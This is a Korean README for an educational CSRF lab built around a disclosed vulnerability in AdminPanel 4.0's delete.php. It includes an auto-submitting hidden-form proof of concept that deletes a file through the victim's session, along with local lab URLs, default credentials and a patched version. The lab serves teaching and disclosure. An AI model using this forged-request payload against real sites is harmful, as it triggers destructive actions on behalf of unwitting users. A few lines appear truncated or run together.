
교육용 CSRF 취약점 데모로, 통제된 실습 환경을 포함하며 개념 증명 익스플로잇과 적절한 CSRF 보호 기능이 적용된 수정 버전을 제공합니다.
CVE ID: CVE-2026-30498 (MITRE 예약)
발견자: Mehdi Ben Hamou
AdminPanel 4.0의 delete.php 엔드포인트에 교차 사이트 요청 위조(CSRF) 취약점이 존재합니다.
이 취약점으로 인해 공격자는 인증된 사용자의 동의 없이 해당 사용자를 대신하여 민감한 작업(파일 삭제)을 트리거할 수 있습니다.
이 취약점은 CSRF 보호 기능이 없기 때문에 발생합니다:
취약한 엔드포인트는 요청 출처를 검증하지 않고 사용자 세션을 기반으로 요청을 직접 처리합니다.
성공적인 악용 시 다음과 같은 결과가 발생합니다:
verifyPanel.php 삭제공격자는 위조된 요청을 전송하는 악성 웹 페이지를 호스팅합니다:
http://localhost:8080/delete.php?file=verifyPanel.php
피해자(인증된 사용자)가 이 페이지를 방문하면 브라우저가 자동으로 세션 쿠키를 포함시키고 요청이 실행됩니다.
<form id="csrfForm" action="http://localhost:8080/delete.php" method="GET">
<input type="hidden" name="file" value="verifyPanel.php">
</form>
<script>
document.getElementById("csrfForm").submit();
</script>
이 요청은 피해자의 세션 쿠키와 함께 자동으로 전송됩니다.
php -S localhost:8080
http://localhost:8080
admin / admin123
http://localhost:8081/evil.html
/panel/dashboard.php
이 저장소에는 취약점을 안전하게 재현할 수 있는 통제된 실습 환경이 포함되어 있습니다.
중요: 이 실습은 시뮬레이션이며 실제 원본 AdminPanel 코드베이스를 나타내지 않습니다.
환경을 초기화하려면:
/reset.php
보안 버전이 다음 파일에 구현되어 있습니다:
delete_fixed.php
추가된 보호 기능:
victim/
├── index.php
├── delete.php
├── delete_fixed.php
├── reset.php
└── panel/
└── dashboard.php
attacker/
└── evil.html
이 프로젝트는 교육 및 연구 목적으로만 제공됩니다.
적절한 권한 없이 이 취약점을 시스템에 사용하지 마십시오.